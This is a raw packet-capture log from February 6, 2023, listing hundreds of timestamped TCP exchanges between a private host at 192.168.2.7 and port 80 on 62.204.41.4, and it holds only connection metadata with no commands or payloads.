Feb 6, 2023 18:37:18.218230009 CET	50015	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:18.278393984 CET	80	50014	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:18.280268908 CET	50014	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:18.280450106 CET	80	50015	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:18.280622959 CET	50015	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:18.281532049 CET	50015	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:18.343785048 CET	80	50015	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:18.347068071 CET	80	50015	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:18.349395037 CET	50015	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:18.469033003 CET	50015	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:18.469753027 CET	50016	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:18.531492949 CET	80	50016	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:18.531526089 CET	80	50015	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:18.532298088 CET	50015	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:18.532320023 CET	50016	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:18.532773972 CET	50016	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:18.594475985 CET	80	50016	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:18.598366022 CET	80	50016	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:18.612728119 CET	50016	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:18.735160112 CET	50016	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:18.736022949 CET	50017	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:18.797058105 CET	80	50016	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:18.797950029 CET	50016	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:18.798382044 CET	80	50017	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:18.798652887 CET	50017	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:18.799280882 CET	50017	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:18.861785889 CET	80	50017	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:18.864867926 CET	80	50017	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:18.868359089 CET	50017	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:18.980792999 CET	50017	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:18.981463909 CET	50018	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:19.043194056 CET	80	50018	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:19.043400049 CET	80	50017	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:19.048930883 CET	50017	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:19.048965931 CET	50018	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:19.057348967 CET	50018	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:19.119014978 CET	80	50018	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:19.123569012 CET	80	50018	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:19.127178907 CET	50018	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:19.251091003 CET	50018	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:19.251740932 CET	50019	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:19.313951969 CET	80	50018	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:19.313987017 CET	80	50019	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:19.314193964 CET	50018	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:19.314228058 CET	50019	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:19.314760923 CET	50019	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:19.376084089 CET	80	50019	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:19.379559040 CET	80	50019	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:19.379718065 CET	50019	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:19.482364893 CET	50019	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:19.482925892 CET	50020	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:19.543978930 CET	80	50019	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:19.544135094 CET	50019	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:19.544408083 CET	80	50020	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:19.544496059 CET	50020	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:19.544836998 CET	50020	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:19.606154919 CET	80	50020	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:19.609977961 CET	80	50020	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:19.610141993 CET	50020	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:19.720737934 CET	50020	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:19.721661091 CET	50021	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:19.782521009 CET	80	50020	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:19.782742977 CET	50020	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:19.782969952 CET	80	50021	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:19.783056021 CET	50021	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:19.783406973 CET	50021	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:19.845153093 CET	80	50021	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:19.847878933 CET	80	50021	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:19.851155996 CET	50021	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:19.967921972 CET	50021	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:19.968612909 CET	50022	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:20.029321909 CET	80	50022	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:20.029364109 CET	80	50021	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:20.029470921 CET	50022	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:20.029499054 CET	50021	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:20.029901028 CET	50022	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:20.090341091 CET	80	50022	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:20.095199108 CET	80	50022	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:20.095395088 CET	50022	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:20.203799009 CET	50022	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:20.204725027 CET	50023	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:20.265302896 CET	80	50022	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:20.265556097 CET	50022	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:20.266222954 CET	80	50023	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:20.266431093 CET	50023	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:20.267374039 CET	50023	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:20.328865051 CET	80	50023	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:20.332250118 CET	80	50023	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:20.332356930 CET	50023	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:20.441529989 CET	50023	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:20.442188025 CET	50024	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:20.501724958 CET	80	50024	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:20.503289938 CET	80	50023	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:20.504684925 CET	50023	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:20.505168915 CET	50024	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:20.506098032 CET	50024	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:20.565537930 CET	80	50024	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:20.569529057 CET	80	50024	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:20.574332952 CET	50024	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:20.696019888 CET	50024	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:20.696732044 CET	50025	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:20.758657932 CET	80	50024	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:20.759052038 CET	80	50025	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:20.760293007 CET	50024	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:20.760332108 CET	50025	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:20.761388063 CET	50025	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:20.825557947 CET	80	50025	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:20.828367949 CET	80	50025	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:20.828555107 CET	50025	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:20.940263033 CET	50025	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:20.941510916 CET	50026	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:21.003874063 CET	80	50026	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:21.003910065 CET	80	50025	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:21.004010916 CET	50026	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:21.004029989 CET	50025	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:21.007242918 CET	50026	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:21.070472002 CET	80	50026	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:21.075069904 CET	80	50026	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:21.077452898 CET	50026	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:21.190284967 CET	50026	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:21.191222906 CET	50027	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:21.251046896 CET	80	50026	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:21.251303911 CET	50026	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:21.251446009 CET	80	50027	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:21.251537085 CET	50027	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:21.251923084 CET	50027	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:21.312251091 CET	80	50027	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:21.314766884 CET	80	50027	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:21.314882040 CET	50027	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:21.428531885 CET	50027	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:21.429420948 CET	50028	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:21.489129066 CET	80	50027	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:21.489253044 CET	50027	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:21.491195917 CET	80	50028	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:21.491375923 CET	50028	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:21.493237019 CET	50028	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:21.555098057 CET	80	50028	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:21.558015108 CET	80	50028	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:21.558105946 CET	50028	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:21.668160915 CET	50028	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:21.669061899 CET	50029	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:21.730128050 CET	80	50028	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:21.730242968 CET	50028	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:21.731266022 CET	80	50029	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:21.731374979 CET	50029	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:21.731774092 CET	50029	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:21.794104099 CET	80	50029	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:21.796478033 CET	80	50029	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:21.796596050 CET	50029	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:21.902614117 CET	50029	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:21.903536081 CET	50030	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:21.965178013 CET	80	50029	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:21.965307951 CET	50029	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:21.969207048 CET	80	50030	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:21.969376087 CET	50030	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:21.969698906 CET	50030	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:22.033236027 CET	80	50030	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:22.035923004 CET	80	50030	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:22.036034107 CET	50030	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:22.152671099 CET	50030	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:22.153403997 CET	50031	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:22.218338013 CET	80	50030	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:22.218493938 CET	50030	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:22.218527079 CET	80	50031	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:22.218633890 CET	50031	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:22.219104052 CET	50031	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:22.283418894 CET	80	50031	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:22.288219929 CET	80	50031	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:22.288449049 CET	50031	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:22.402004004 CET	50031	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:22.402710915 CET	50032	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:22.464227915 CET	80	50032	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:22.464437962 CET	50032	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:22.464489937 CET	80	50031	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:22.464593887 CET	50031	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:22.465404987 CET	50032	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:22.526942015 CET	80	50032	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:22.530270100 CET	80	50032	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:22.533339977 CET	50032	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:22.636619091 CET	50032	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:22.637691021 CET	50033	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:22.698395014 CET	80	50032	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:22.699167013 CET	80	50033	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:22.699392080 CET	50032	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:22.699527025 CET	50033	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:22.700596094 CET	50033	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:22.762166023 CET	80	50033	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:22.764436960 CET	80	50033	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:22.766782999 CET	50033	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:22.872256041 CET	50033	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:22.873361111 CET	50034	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:22.934079885 CET	80	50033	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:22.934262991 CET	50033	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:22.935089111 CET	80	50034	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:22.937237024 CET	50034	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:22.947073936 CET	50034	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:23.009061098 CET	80	50034	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:23.012310982 CET	80	50034	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:23.012568951 CET	50034	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:23.121289015 CET	50034	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:23.122946978 CET	50035	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:23.184072018 CET	80	50034	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:23.184273005 CET	50034	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:23.184525967 CET	80	50035	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:23.184658051 CET	50035	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:23.185231924 CET	50035	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:23.245872021 CET	80	50035	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:23.251290083 CET	80	50035	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:23.251496077 CET	50035	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:23.358578920 CET	50035	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:23.359584093 CET	50036	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:23.419502974 CET	80	50035	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:23.421267986 CET	80	50036	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:23.421426058 CET	50035	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:23.421480894 CET	50036	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:23.421958923 CET	50036	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:23.483444929 CET	80	50036	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:23.486078978 CET	80	50036	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:23.486183882 CET	50036	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:23.590176105 CET	50036	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:23.590826988 CET	50037	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:23.651520014 CET	80	50037	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:23.651791096 CET	50037	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:23.652170897 CET	50037	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:23.652456999 CET	80	50036	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:23.652597904 CET	50036	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:23.712605953 CET	80	50037	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:23.715187073 CET	80	50037	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:23.715363979 CET	50037	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:23.824224949 CET	50037	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:23.825239897 CET	50038	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:23.884975910 CET	80	50037	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:23.885184050 CET	50037	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:23.885891914 CET	80	50038	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:23.886039019 CET	50038	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:23.886375904 CET	50038	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:23.946886063 CET	80	50038	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:23.949320078 CET	80	50038	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:23.949523926 CET	50038	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:24.061362982 CET	50038	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:24.062278032 CET	50039	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:24.122409105 CET	80	50038	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:24.122458935 CET	80	50039	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:24.122600079 CET	50038	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:24.122667074 CET	50039	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:24.123203039 CET	50039	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:24.183537006 CET	80	50039	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:24.188124895 CET	80	50039	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:24.188261032 CET	50039	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:24.293461084 CET	50039	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:24.294411898 CET	50040	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:24.353964090 CET	80	50039	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:24.354111910 CET	50039	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:24.354784966 CET	80	50040	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:24.354922056 CET	50040	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:24.355269909 CET	50040	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:24.415652990 CET	80	50040	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:24.418427944 CET	80	50040	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:24.418617964 CET	50040	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:24.547410011 CET	50040	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:24.548226118 CET	50041	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:24.608347893 CET	80	50040	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:24.608470917 CET	50040	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:24.609685898 CET	80	50041	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:24.609838009 CET	50041	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:24.611334085 CET	50041	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:24.672935009 CET	80	50041	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:24.675154924 CET	80	50041	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:24.675292969 CET	50041	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:24.792315960 CET	50041	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:24.792922020 CET	50042	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:24.853319883 CET	80	50042	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:24.853439093 CET	50042	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:24.854018927 CET	80	50041	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:24.854109049 CET	50041	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:24.857892990 CET	50042	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:24.918385029 CET	80	50042	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:24.921021938 CET	80	50042	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:24.921123028 CET	50042	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:25.042913914 CET	50042	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:25.044362068 CET	50043	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:25.103477001 CET	80	50042	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:25.103588104 CET	50042	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:25.104969025 CET	80	50043	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:25.105088949 CET	50043	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:25.122543097 CET	50043	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:25.183175087 CET	80	50043	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:25.187724113 CET	80	50043	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:25.187860012 CET	50043	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:25.314205885 CET	50043	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:25.317459106 CET	50044	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:25.376391888 CET	80	50043	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:25.376498938 CET	50043	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:25.379429102 CET	80	50044	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:25.379601955 CET	50044	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:25.381632090 CET	50044	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:25.442006111 CET	80	50044	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:25.444655895 CET	80	50044	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:25.444948912 CET	50044	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:25.558013916 CET	50044	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:25.558727980 CET	50045	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:25.618685961 CET	80	50044	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:25.618865013 CET	50044	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:25.619157076 CET	80	50045	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:25.619343042 CET	50045	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:25.620163918 CET	50045	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:25.680754900 CET	80	50045	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:25.683967113 CET	80	50045	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:25.684113026 CET	50045	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:25.797051907 CET	50045	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:25.799030066 CET	50046	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:25.857587099 CET	80	50045	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:25.858376026 CET	50045	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:25.861392021 CET	80	50046	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:25.861893892 CET	50046	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:25.862441063 CET	50046	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:25.924679995 CET	80	50046	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:25.927823067 CET	80	50046	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:25.927989960 CET	50046	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:26.043030024 CET	50046	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:26.043870926 CET	50047	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:26.104096889 CET	80	50047	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:26.104517937 CET	50047	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:26.104922056 CET	50047	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:26.105329037 CET	80	50046	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:26.107923031 CET	50046	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:26.165121078 CET	80	50047	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:26.168797016 CET	80	50047	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:26.172475100 CET	50047	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:26.277247906 CET	50047	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:26.278264046 CET	50048	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:26.337415934 CET	80	50047	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:26.337800026 CET	50047	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:26.339823961 CET	80	50048	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:26.340018988 CET	50048	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:26.342561007 CET	50048	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:26.404712915 CET	80	50048	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:26.407500029 CET	80	50048	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:26.407742977 CET	50048	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:26.517997980 CET	50048	80	192.168.2.7	62.204.41.4
